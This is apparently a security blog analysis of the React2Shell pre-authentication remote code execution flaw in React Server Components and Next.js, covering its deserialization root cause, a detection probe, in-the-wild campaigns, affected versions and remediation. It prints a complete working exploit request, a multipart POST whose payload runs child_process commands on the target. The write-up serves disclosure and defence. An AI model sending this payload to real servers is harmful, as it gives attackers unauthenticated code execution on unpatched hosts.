When Server Components Became an Attacker's Gateway
// The Pre-Auth RCE That Shook the JavaScript Ecosystem
The security world is no stranger to critical vulnerabilities that send shockwaves through the developer community. On December 3, 2025, such a moment arrived when a maximum severity vulnerability dropped for React Server Components. Tracked as CVE-2025-55182 in React and CVE-2025-66478 for Next.js, this flaw quickly earned its nickname: React2Shell.
What makes this vulnerability particularly noteworthy is its combination of factors that security researchers dread: no authentication required, remote code execution capability, widespread framework adoption, and exploitation within hours of disclosure.
This is the story of React2Shell.
// The Disclosure Timeline
Lachlan Davidson discovered the vulnerability and responsibly disclosed it to the Meta team on November 29, 2025. Working with React and Vercel, the disclosure and initial patch release happened on December 3, 2025.
Within 30 hours of the public disclosure, working proof-of-concept exploits began circulating in the wild. Security teams at Darktrace, Cloudflare, GreyNoise, Microsoft, and Wiz all observed active scanning and exploitation attempts almost immediately.
That rapid weaponization speaks to both the severity of the flaw and the attractiveness of the target.
// Understanding the Technical Foundation
To grasp why React2Shell works, we first need to understand what React Server Components actually do under the hood.
React Server Components (RSC) allow developers to run React code on the server. This server-side code communicates with clients through what React calls the "Flight Protocol." When a client calls a Server Function, React translates that into HTTP requests. On the server side, React deserializes those requests back into function calls.
Here is where the trouble begins.
# The Deserialization Problem
The React Flight Protocol supports object references through a specific serialization mechanism. When deserializing user input, the protocol uses a colon-delimited syntax to traverse object properties. Consider this simplified example:
// User input: "$1:a:b"
// This maps to: object[1].a.bThe vulnerability emerged because React did not verify whether requested keys actually existed on the target object. This seemingly small oversight opened a massive security hole.
# Accessing the Prototype Chain
In JavaScript, every object has a hidden property called __proto__ that points to its prototype. Through prototype access, an attacker can reach internal functions that should never be exposed.
// Attacker input: "$0:__proto__:toString"
// This gives access to the native toString functionBy traversing the prototype chain, attackers could reference any built-in JavaScript function. But the real magic happens when you chain this with the constructor property.
// The Exploitation Chain
Security researcher maple3142 published the core idea behind the working exploit:
Use the
$@deserialization to get a Chunk reference, and putChunk.prototype.thenas thethenproperty of the root object. Thenthenwould be invoked with root object asthis/chunkwhen it is awaited/resolved.
That explanation is dense, so let me break it down.
# JavaScript's Thenable Behavior
JavaScript Promises have a specific behavior with objects that contain a then property. When you resolve a Promise that returns an object with a callable then property, JavaScript treats it as a "thenable" and calls that function.
const userObj = { then: () => console.log('Hello, world!') }
Promise.resolve().then(() => userObj) // 'Hello, world!' is loggedThis behavior extends to async/await patterns:
async function getUserObj() {
return userObj // The 'then' property gets called
}# Building the Payload
The exploit leverages multiple JavaScript quirks in sequence:
- Fake Chunk Creation: The attacker crafts a malicious object that mimics React's internal Chunk structure
- Prototype Traversal: Using the colon syntax, they access
__proto__.thento get the Chunk's then method - Function Construction: Through
constructor.constructor, they reach JavaScript's Function constructor - Code Injection: The Function constructor creates an anonymous function from a string parameter
Here is the critical piece of the payload:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('whoami');",
"_formData": {"get": "$1:constructor:constructor"}
}
}When React's deserialization resolves this chunk, it triggers a chain reaction:
- The fake chunk's
thenmethod gets called - The
_formData.getproperty (now pointing to Function constructor) creates a function from_prefix - That function executes on the server with Node.js privileges
// The HTTP Request
The full exploit fits into a single HTTP POST request using multipart form data:
POST / HTTP/1.1
Host: target.example.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--No authentication tokens. No session cookies. No prior knowledge of the application. Just a single crafted HTTP request that grants arbitrary code execution on the server.
// Detecting Vulnerable Instances
Security researchers at Assetnote (Searchlight Cyber) developed a high-fidelity detection mechanism that reliably identifies vulnerable hosts without triggering the full exploit.
The detection leverages the same underlying flaw that causes the RCE. By sending a request designed to trigger a specific error condition, defenders can identify unpatched systems:
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--A vulnerable system responds with a 500 status code and includes E{"digest" in the response body:
HTTP/1.1 500 Internal Server Error
Content-Type: text/x-component
0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}This works because the payload references a non-existent property chain ({}.a.a), which causes an exception in vulnerable versions. Patched versions added a check that prevents the crash:
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}// The Fallout: Attacks in the Wild
The security community watched in real-time as threat actors weaponized React2Shell within hours of disclosure.
# Cryptomining Campaigns
Multiple distinct cryptomining campaigns emerged targeting vulnerable Next.js applications, particularly those running in cloud environments. Researchers observed XMRig cryptocurrency miners being deployed through React2Shell, consuming significant CPU resources on compromised servers.
The attack pattern typically involved:
- Killing competing mining processes
- Attempting local privilege escalation
- Masquerading miner processes as legitimate system services
- Establishing persistence through scheduled tasks
# Credential Theft
More sophisticated threat actors targeted cloud credentials. Post-exploitation activities included:
- Enumerating environment variables for secrets
- Targeting AWS, Azure, and GCP credential stores
- Deploying tools like TruffleHog and Gitleaks to extract embedded secrets
- Exfiltrating cloud service credentials for later use
# Backdoor Installation
Security researchers from Microsoft and Google observed deployment of various backdoors including:
- MINOCAT tunneler
- SNOWLIGHT downloader
- HISONIC and COMPOOD backdoors
- Sliver implant framework
Persistence techniques included adding malicious user accounts, modifying SSH authorized_keys files, and installing remote monitoring tools.
# Web Traffic Hijacking
A separate campaign exploited React2Shell to inject malicious NGINX configurations, hijacking legitimate web traffic and routing it through attacker-controlled servers. This campaign particularly targeted Asian top-level domains and government or educational websites.
// The Challenge of False Proof-of-Concepts
In the days following disclosure, numerous supposed proof-of-concept exploits circulated that were not genuine representations of the vulnerability.
Lachlan Davidson noted on react2shell.com:
Many of these "PoCs" have been referenced in publications, and even some vulnerability aggregators. We are concerned that these may lead to false negatives when evaluating if a service is vulnerable.
Invalid PoCs often required developers to have explicitly exposed dangerous functions like vm.runInThisContext, child_process.exec, or fs.writeFile to clients. These would only work if the developer had consciously created dangerous server functions, which misses the point of the vulnerability entirely.
The genuine exploit works on default Next.js configurations without any prerequisite conditions.
// Why Two CVE Numbers?
You might have noticed both CVE-2025-55182 and CVE-2025-66478 are associated with this vulnerability.
The root cause lies in react-server, tracked as CVE-2025-55182. However, Next.js has a unique challenge: it does not include React as a traditional dependency. Instead, Next.js bundles React as "vendored" code within the framework itself.
This means standard dependency scanning tools that check package.json and package-lock.json would not automatically flag Next.js installations as vulnerable. The decision to publish CVE-2025-66478 specifically for Next.js ensured that vulnerability scanners could correctly identify affected applications.
The Next.js CVE was later technically marked as a duplicate, but it served an important purpose during the critical patching window.
// Affected Versions and Remediation
# React Packages
The following package versions are affected:
react-server-dom-webpackversions 19.0.x, 19.1.x, and 19.2.xreact-server-dom-parcelversions 19.0.x, 19.1.x, and 19.2.xreact-server-dom-turbopackversions 19.0.x, 19.1.x, and 19.2.x
Fixed versions: 19.0.1, 19.1.2, and 19.2.1
# Next.js
Affected versions:
- Next.js 14.3.0-canary.77 and later canary releases
- Next.js 15.x using the App Router
- Next.js 16.x using the App Router
Not affected:
- Next.js 13.x
- Next.js 14.x stable releases
- Pages Router applications
- Edge Runtime deployments
Fixed versions:
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
- 16.0.7
- 15.6.0-canary.58 and 16.1.0-canary.12 for canary users
# Other Affected Frameworks
Several other frameworks that implement React Server Components also required patches:
- React Router
- Waku
- @parcel/rsc
- @vitejs/plugin-rsc
- Redwood SDK
# Recommended Actions
- Upgrade immediately to patched versions within your release line
- Rebuild production bundles after upgrading, as the vulnerability can persist in older builds
- Rotate secrets if you suspect compromise, including API keys and database credentials
- Review logs for suspicious POST requests with malformed multipart payloads
- Check for IOCs including unexpected processes, modified configurations, and unusual network connections
Vercel released an automated tool to help with detection and remediation:
npx fix-react2shell-next// Scanner and Detection Nuances
A word of caution for organizations running vulnerability scanners.
Many scanners correctly identify unpatched Next.js instances using Server Components. However, some hosting providers implemented runtime-level protections beyond simple WAF rules. These protections can make theoretically vulnerable versions appear safe during testing.
The original researcher noted:
We're aware of many submissions to Bug Bounty programs based on these scanner outputs, many of which may be false positives. Unfortunately, at this point in time, we cannot share any methods to concretely identify with certainty if you are vulnerable.
When in doubt: patch.
// Lessons for the Security Community
React2Shell offers several important lessons for both developers and security professionals.
# The Danger of Implicit Trust
The vulnerability arose because the deserialization code implicitly trusted that property references would point to intended targets. Adding a simple existence check before property access would have prevented exploitation:
// Before (vulnerable)
value = value[path[i]];
// After (patched)
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}This pattern appears frequently in security research. User-controlled keys accessing object properties without validation create prototype pollution and property injection vulnerabilities.
# Framework Complexity Creates Attack Surface
Modern JavaScript frameworks increasingly blur the line between client and server code. While this provides developer ergonomics, it also expands the attack surface in non-obvious ways.
The React Flight Protocol handles complex serialization tasks that most developers never see directly. When such hidden mechanisms have flaws, the impact can be severe and widespread.
# Coordinated Disclosure Matters
The coordinated disclosure between Lachlan Davidson, Meta, and Vercel allowed hosting providers to implement temporary mitigations before the public announcement. This provided meaningful protection during the initial patching window.
However, the rapid appearance of public exploits demonstrates that vulnerability information travels quickly through threat actor networks. Organizations need processes for urgent security updates, not just scheduled maintenance windows.
// Conclusion
React2Shell represents a significant milestone in JavaScript security. A single researcher found a maximum severity vulnerability affecting one of the most widely deployed web frameworks. Within hours, threat actors weaponized it for cryptomining, credential theft, and backdoor installation.
The vulnerability itself is elegant in its exploitation chain, threading through JavaScript's prototype system, Promise semantics, and the Function constructor to achieve code execution from a simple HTTP request.
For organizations running React Server Components, the message is clear: patch immediately if you have not already. The attacks are real, the exploits are public, and the consequences of compromise range from cryptomining to full infrastructure takeover.
The security community owes thanks to Lachlan Davidson for responsible disclosure and to the React and Vercel teams for their rapid response. These coordinated efforts gave defenders a fighting chance before the inevitable weaponization began.
React2Shell is now part of the JavaScript security canon. The patterns it revealed will inform defensive practices and offensive research for years to come.
This analysis was compiled through examination of official vendor advisories, independent security research, and technical deep-dives from multiple researchers in the security community.
references
- React Security Advisory - CVE-2025-55182
- Next.js Security Advisory - CVE-2025-66478
- GitHub - React Security Advisory GHSA-fv66-9v8q-g76r
- GitHub - Next.js Security Advisory GHSA-9qr9-h5gf-34mp
- Assetnote Detection Mechanism Research
- react2shell.com - Original Researcher Disclosure
- maple3142 PoC Gist
- testanull/Jang Technical Deep Dive